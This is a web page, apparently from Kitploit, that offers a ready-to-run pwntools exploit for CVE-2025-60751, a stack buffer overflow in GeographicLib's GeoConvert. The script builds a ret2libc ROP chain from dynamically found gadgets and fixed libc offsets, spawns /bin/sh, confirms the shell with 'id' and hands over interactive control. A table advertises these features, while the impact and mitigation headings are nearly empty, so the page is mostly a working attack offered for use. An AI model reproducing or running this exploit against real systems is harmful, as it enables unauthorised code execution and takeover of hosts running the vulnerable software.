CVE-2025-60751 — Technical analysis and professional exploit for CVE-2025-60751, a stack-based buffer overflow in GeographicLib. Includes a pwntools-based Ret2Libc exploit with dynamic ROP gadget discovery, GDB integration, and post-exploit verification for educational penetration testing. | Kitploit

Feature	Benefit
`ROP(elf)` dynamic	Does not depend on hardcoded gadgets: it finds them automatically in the binary.
Built-in support for `GDB`	Run `python exploit.py GDB` → opens an automatic debugging session.
Post-exploit verification	Sends `id` and confirms shell before giving interactive control.
`RET` for stack alignment	Prevents crashes in `system()` due to incorrect alignment (critical on x64).
Payload structured as `list` + `b"".join()`	Clean, readable, easy to modify and extend.

#!/usr/bin/env python3
from pwn import *

# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---

context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'

def exploit():
    # 1. Gestión de procesos (Local vs Remoto)
    if args.GDB:
        io = gdb.debug([elf.path], gdbscript="""
            b *main
            continue
        """)
    else:
        # ASAN puede interferir con los offsets si no se gestiona bien
        io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})

    # 2. Localización Dinámica de Gadgets
    rop = ROP(elf)
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET = rop.find_gadget(['ret'])[0]
    
    log.info(f"Gadget POP RDI: {hex(POP_RDI)}")

    # 3. Fuga de Memoria (Leak) para Bypass de ASLR
    # En entornos reales: usar leak + libc-database o libc.rip.
    # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
    LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
    SYSTEM = LIBC_BASE + 0x5d110
    BINSH  = LIBC_BASE + 0x1b1ea4
    EXIT   = LIBC_BASE + 0x4c340

    # 4. Construcción del Payload (Estructura Limpia & Aligned)
    offset = 136
    
    chain = [
        b"A" * offset,
        p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
        p64(POP_RDI),
        p64(BINSH),
        p64(SYSTEM),
        p64(EXIT)
    ]
    
    payload = b"".join(chain)

    # 5. Ejecución y Verificación
    log.info("Sending payload and spawning shell...")
    io.sendline(payload)
    
    io.clean()
    io.sendline(b"id")
    res = io.recvline(timeout=2)
    
    if b"uid=" in res:
        log.success("Pwned! enjoy your shell.")
        io.interactive()
    else:
        log.error("Exploit failed or no output received.")
        io.close()

if __name__ == "__main__":
    exploit()

CVE-2025-60751

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🔍 Impact

💻 Affected Systems

🛠️ Mitigation and Solution

📚 References

💀 Professional Exploit (Advanced Level — OSCP / Exploit-DB Style)

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🐍 Exploit Code (`exploit.py`)